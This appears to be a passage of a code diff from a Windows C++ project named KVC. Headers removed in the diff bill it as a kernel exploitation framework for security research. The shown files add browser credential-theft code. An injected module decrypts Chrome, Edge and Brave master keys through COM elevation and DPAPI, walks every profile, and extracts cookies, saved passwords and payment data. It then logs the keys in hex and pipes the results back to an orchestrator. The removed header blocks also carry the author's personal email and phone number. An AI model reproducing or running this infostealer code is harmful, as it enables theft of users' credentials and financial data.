buffer.resize(resultLength);
|
||||||
|
bufferSize = resultLength;
|
||||||
|
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
|
||||||
|
buffer.data(), bufferSize, &resultLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
return L"";
|
||||||
|
|
||||||
|
auto kvpi = reinterpret_cast<PKEY_VALUE_PARTIAL_INFORMATION>(buffer.data());
|
||||||
|
|
||||||
|
if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ)
|
||||||
|
return L"";
|
||||||
|
if (kvpi->DataLength < sizeof(wchar_t) * 2)
|
||||||
|
return L"";
|
||||||
|
|
||||||
|
size_t charCount = kvpi->DataLength / sizeof(wchar_t);
|
||||||
|
std::wstring path(reinterpret_cast<wchar_t*>(kvpi->Data), charCount);
|
||||||
|
|
||||||
|
while (!path.empty() && path.back() == L'\0')
|
||||||
|
path.pop_back();
|
||||||
|
|
||||||
|
if (path.empty())
|
||||||
|
return L"";
|
||||||
|
|
||||||
|
if (kvpi->Type == REG_EXPAND_SZ)
|
||||||
|
{
|
||||||
|
std::vector<wchar_t> expanded(MAX_PATH * 2);
|
||||||
|
DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(),
|
||||||
|
static_cast<DWORD>(expanded.size()));
|
||||||
|
if (size > 0 && size <= expanded.size())
|
||||||
|
path = std::wstring(expanded.data());
|
||||||
|
}
|
||||||
|
|
||||||
|
return path;
|
||||||
|
}
|
||||||
112
kvc/CommunicationLayer.h
Normal file
112
kvc/CommunicationLayer.h
Normal file
@@ -0,0 +1,112 @@
|
|||||||
|
// CommunicationLayer.h - Console output and inter-process communication
|
||||||
|
#ifndef COMMUNICATION_LAYER_H
|
||||||
|
#define COMMUNICATION_LAYER_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <sstream>
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
// Utility functions for string and path operations
|
||||||
|
namespace Utils
|
||||||
|
{
|
||||||
|
std::string u8string_to_string(const std::u8string& u8str) noexcept;
|
||||||
|
std::string path_to_api_string(const fs::path& path);
|
||||||
|
fs::path GetLocalAppDataPath();
|
||||||
|
std::string WStringToUtf8(std::wstring_view w_sv);
|
||||||
|
std::string PtrToHexStr(const void* ptr) noexcept;
|
||||||
|
std::string NtStatusToString(NTSTATUS status) noexcept;
|
||||||
|
std::wstring GenerateUniquePipeName();
|
||||||
|
std::string Capitalize(const std::string& str);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Manages console output with colored messages
|
||||||
|
class Console
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit Console(bool verbose);
|
||||||
|
|
||||||
|
void displayBanner() const;
|
||||||
|
void printUsage() const;
|
||||||
|
|
||||||
|
void Info(const std::string& msg) const;
|
||||||
|
void Success(const std::string& msg) const;
|
||||||
|
void Error(const std::string& msg) const;
|
||||||
|
void Warn(const std::string& msg) const;
|
||||||
|
void Debug(const std::string& msg) const;
|
||||||
|
void Relay(const std::string& message) const;
|
||||||
|
|
||||||
|
bool m_verbose;
|
||||||
|
|
||||||
|
private:
|
||||||
|
void print(const std::string& tag, const std::string& msg, WORD color) const;
|
||||||
|
void SetColor(WORD attributes) const noexcept;
|
||||||
|
void ResetColor() const noexcept;
|
||||||
|
|
||||||
|
HANDLE m_hConsole;
|
||||||
|
WORD m_originalAttributes;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Handles named pipe communication with injected module
|
||||||
|
class PipeCommunicator
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
struct ExtractionStats
|
||||||
|
{
|
||||||
|
int totalCookies = 0;
|
||||||
|
int totalPasswords = 0;
|
||||||
|
int totalPayments = 0;
|
||||||
|
int profileCount = 0;
|
||||||
|
std::string aesKey;
|
||||||
|
};
|
||||||
|
|
||||||
|
PipeCommunicator(const std::wstring& pipeName, const Console& console);
|
||||||
|
|
||||||
|
void create();
|
||||||
|
void waitForClient();
|
||||||
|
void sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey = {});
|
||||||
|
void relayMessages();
|
||||||
|
|
||||||
|
const ExtractionStats& getStats() const noexcept { return m_stats; }
|
||||||
|
const std::wstring& getName() const noexcept { return m_pipeName; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
// RAII wrapper for pipe handle
|
||||||
|
struct PipeDeleter
|
||||||
|
{
|
||||||
|
void operator()(HANDLE h) const noexcept
|
||||||
|
{
|
||||||
|
if (h != INVALID_HANDLE_VALUE)
|
||||||
|
CloseHandle(h);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
using UniquePipe = std::unique_ptr<void, PipeDeleter>;
|
||||||
|
|
||||||
|
void writeMessage(const std::string& msg);
|
||||||
|
void parseExtractionMessage(const std::string& message);
|
||||||
|
|
||||||
|
std::wstring m_pipeName;
|
||||||
|
const Console& m_console;
|
||||||
|
UniquePipe m_pipeHandle;
|
||||||
|
ExtractionStats m_stats;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Resolves browser installation paths via Registry
|
||||||
|
class BrowserPathResolver
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit BrowserPathResolver(const Console& console);
|
||||||
|
|
||||||
|
std::wstring resolve(const std::wstring& browserExeName);
|
||||||
|
std::vector<std::pair<std::wstring, std::wstring>> findAllInstalledBrowsers();
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::wstring queryRegistryDefaultValue(const std::wstring& keyPath);
|
||||||
|
|
||||||
|
const Console& m_console;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // COMMUNICATION_LAYER_H
|
||||||
103
kvc/CommunicationModule.cpp
Normal file
103
kvc/CommunicationModule.cpp
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
// CommunicationModule.cpp - Pipe communication and utility functions
|
||||||
|
#include "CommunicationModule.h"
|
||||||
|
#include <ShlObj.h>
|
||||||
|
#include <Wincrypt.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Crypt32.lib")
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
namespace Utils
|
||||||
|
{
|
||||||
|
// Retrieves Local AppData path
|
||||||
|
fs::path GetLocalAppDataPath()
|
||||||
|
{
|
||||||
|
PWSTR path = nullptr;
|
||||||
|
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
|
||||||
|
{
|
||||||
|
fs::path result = path;
|
||||||
|
CoTaskMemFree(path);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
throw std::runtime_error("Failed to get Local AppData path.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decodes Base64 string into byte vector
|
||||||
|
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
|
||||||
|
{
|
||||||
|
DWORD size = 0;
|
||||||
|
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
|
||||||
|
return std::nullopt;
|
||||||
|
|
||||||
|
std::vector<uint8_t> data(size);
|
||||||
|
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
|
||||||
|
return std::nullopt;
|
||||||
|
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Converts byte array to hex string
|
||||||
|
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
|
||||||
|
{
|
||||||
|
std::ostringstream oss;
|
||||||
|
oss << std::hex << std::setfill('0');
|
||||||
|
for (uint8_t byte : bytes)
|
||||||
|
oss << std::setw(2) << static_cast<int>(byte);
|
||||||
|
return oss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Escapes JSON special characters
|
||||||
|
std::string EscapeJson(const std::string& s)
|
||||||
|
{
|
||||||
|
std::ostringstream o;
|
||||||
|
for (char c : s)
|
||||||
|
{
|
||||||
|
switch (c)
|
||||||
|
{
|
||||||
|
case '"': o << "\\\""; break;
|
||||||
|
case '\\': o << "\\\\"; break;
|
||||||
|
case '\b': o << "\\b"; break;
|
||||||
|
case '\f': o << "\\f"; break;
|
||||||
|
case '\n': o << "\\n"; break;
|
||||||
|
case '\r': o << "\\r"; break;
|
||||||
|
case '\t': o << "\\t"; break;
|
||||||
|
default:
|
||||||
|
if ('\x00' <= c && c <= '\x1f')
|
||||||
|
{
|
||||||
|
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
o << c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return o.str();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PipeLogger implementation
|
||||||
|
PipeLogger::PipeLogger(LPCWSTR pipeName)
|
||||||
|
{
|
||||||
|
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
PipeLogger::~PipeLogger()
|
||||||
|
{
|
||||||
|
if (m_pipe != INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
|
||||||
|
FlushFileBuffers(m_pipe);
|
||||||
|
CloseHandle(m_pipe);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void PipeLogger::Log(const std::string& message)
|
||||||
|
{
|
||||||
|
if (isValid())
|
||||||
|
{
|
||||||
|
DWORD bytesWritten = 0;
|
||||||
|
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
58
kvc/CommunicationModule.h
Normal file
58
kvc/CommunicationModule.h
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
// CommunicationModule.h - Inter-process communication and utilities
|
||||||
|
#ifndef COMMUNICATION_MODULE_H
|
||||||
|
#define COMMUNICATION_MODULE_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <optional>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <sstream>
|
||||||
|
#include <iomanip>
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
// String utility functions for internal module use
|
||||||
|
namespace StringUtils
|
||||||
|
{
|
||||||
|
inline std::string path_to_string(const fs::path& path)
|
||||||
|
{
|
||||||
|
return path.string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
// Utility functions for encoding and formatting
|
||||||
|
namespace Utils
|
||||||
|
{
|
||||||
|
// Retrieves Local AppData directory path
|
||||||
|
fs::path GetLocalAppDataPath();
|
||||||
|
|
||||||
|
// Decodes Base64 encoded string
|
||||||
|
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input);
|
||||||
|
|
||||||
|
// Converts bytes to hexadecimal string
|
||||||
|
std::string BytesToHexString(const std::vector<uint8_t>& bytes);
|
||||||
|
|
||||||
|
// Escapes special characters for JSON serialization
|
||||||
|
std::string EscapeJson(const std::string& s);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Manages named pipe communication with orchestrator
|
||||||
|
class PipeLogger
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit PipeLogger(LPCWSTR pipeName);
|
||||||
|
~PipeLogger();
|
||||||
|
|
||||||
|
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
|
||||||
|
void Log(const std::string& message);
|
||||||
|
HANDLE getHandle() const noexcept { return m_pipe; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
HANDLE m_pipe = INVALID_HANDLE_VALUE;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // COMMUNICATION_MODULE_H
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerBinaryManager.cpp - Fixed compilation issues
|
// ControllerBinaryManager.cpp - Fixed compilation issues
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerCore.cpp
|
// ControllerCore.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerDriverManager.cpp
|
// ControllerDriverManager.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerMemoryOperations.cpp
|
// ControllerMemoryOperations.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "ReportExporter.h"
|
#include "ReportExporter.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerProcessOperations.cpp
|
// ControllerProcessOperations.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerSystemIntegration.cpp
|
// ControllerSystemIntegration.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
232
kvc/CryptCore.cpp
Normal file
232
kvc/CryptCore.cpp
Normal file
@@ -0,0 +1,232 @@
|
|||||||
|
// CryptCore.cpp - Security module entry point and workflow coordination
|
||||||
|
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
|
||||||
|
#include "CryptCore.h"
|
||||||
|
#include "BrowserCrypto.h"
|
||||||
|
#include "DataExtraction.h"
|
||||||
|
#include "CommunicationModule.h"
|
||||||
|
#include "SelfLoader.h"
|
||||||
|
#include <memory>
|
||||||
|
#include <stdexcept>
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
// Initializes security orchestrator and establishes pipe communication
|
||||||
|
SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName)
|
||||||
|
{
|
||||||
|
m_logger.emplace(lpcwstrPipeName);
|
||||||
|
|
||||||
|
if (!m_logger->isValid())
|
||||||
|
{
|
||||||
|
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
|
||||||
|
}
|
||||||
|
ReadPipeParameters();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Main execution workflow: decrypt keys, enumerate profiles, extract data
|
||||||
|
void SecurityOrchestrator::Run()
|
||||||
|
{
|
||||||
|
BrowserManager browserManager;
|
||||||
|
const auto& browserConfig = browserManager.getConfig();
|
||||||
|
m_logger->Log("[*] Security analysis process started for " + browserConfig.name);
|
||||||
|
|
||||||
|
std::vector<uint8_t> comKey, dpapiKey;
|
||||||
|
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
|
||||||
|
|
||||||
|
// Edge requires split-key strategy: different keys for different data types
|
||||||
|
if (browserConfig.name == "Edge")
|
||||||
|
{
|
||||||
|
m_logger->Log("[*] Initializing split-phase strategy for Edge");
|
||||||
|
|
||||||
|
// Phase 1: COM elevation for cookies and payment data
|
||||||
|
try {
|
||||||
|
m_logger->Log("[*] Phase 1: COM extraction (cookies/payments)");
|
||||||
|
MasterKeyDecryptor comDecryptor(*m_logger);
|
||||||
|
comKey = comDecryptor.Decrypt(browserConfig, localStatePath, DataType::Cookies);
|
||||||
|
m_logger->Log("[+] COM key acquired: " + Utils::BytesToHexString(comKey));
|
||||||
|
} catch (const std::exception& e) {
|
||||||
|
m_logger->Log("[-] COM key acquisition failed: " + std::string(e.what()));
|
||||||
|
throw;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Phase 2: Use pre-decrypted DPAPI key from orchestrator for passwords
|
||||||
|
if (!m_edgeDpapiKey.empty())
|
||||||
|
{
|
||||||
|
m_logger->Log("[*] Phase 2: Using pre-decrypted DPAPI key from orchestrator");
|
||||||
|
dpapiKey = m_edgeDpapiKey;
|
||||||
|
m_logger->Log("[+] DPAPI key ready: " + Utils::BytesToHexString(dpapiKey));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_logger->Log("[-] No DPAPI key available - Edge passwords will not be extracted");
|
||||||
|
dpapiKey = comKey;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Chrome/Brave use single COM-elevated key for all data types
|
||||||
|
m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name);
|
||||||
|
MasterKeyDecryptor keyDecryptor(*m_logger);
|
||||||
|
comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All);
|
||||||
|
dpapiKey = comKey;
|
||||||
|
m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enumerate all browser profiles
|
||||||
|
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger);
|
||||||
|
auto profilePaths = enumerator.FindProfiles();
|
||||||
|
m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)");
|
||||||
|
|
||||||
|
// Extract data from each profile
|
||||||
|
for (const auto& profilePath : profilePaths)
|
||||||
|
{
|
||||||
|
m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
|
||||||
|
|
||||||
|
for (const auto& dataConfig : Data::GetExtractionConfigs())
|
||||||
|
{
|
||||||
|
// Select appropriate key based on data type and browser
|
||||||
|
const std::vector<uint8_t>* extractionKey = &comKey;
|
||||||
|
std::string keyType = "COM";
|
||||||
|
|
||||||
|
if (browserConfig.name == "Edge" && dataConfig.outputFileName == "passwords")
|
||||||
|
{
|
||||||
|
extractionKey = &dpapiKey;
|
||||||
|
keyType = "DPAPI";
|
||||||
|
}
|
||||||
|
|
||||||
|
m_logger->Log("[*] Using " + keyType + " key for " + dataConfig.outputFileName + " extraction");
|
||||||
|
|
||||||
|
try {
|
||||||
|
DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger,
|
||||||
|
m_outputPath, browserConfig.name);
|
||||||
|
extractor.Extract();
|
||||||
|
} catch (const std::exception& e) {
|
||||||
|
m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " +
|
||||||
|
std::string(e.what()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
m_logger->Log("[*] Security analysis process finished successfully");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reads configuration parameters from orchestrator via named pipe
|
||||||
|
void SecurityOrchestrator::ReadPipeParameters()
|
||||||
|
{
|
||||||
|
char buffer[1024] = {0};
|
||||||
|
DWORD bytesRead = 0;
|
||||||
|
|
||||||
|
// Read verbose flag
|
||||||
|
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||||
|
{
|
||||||
|
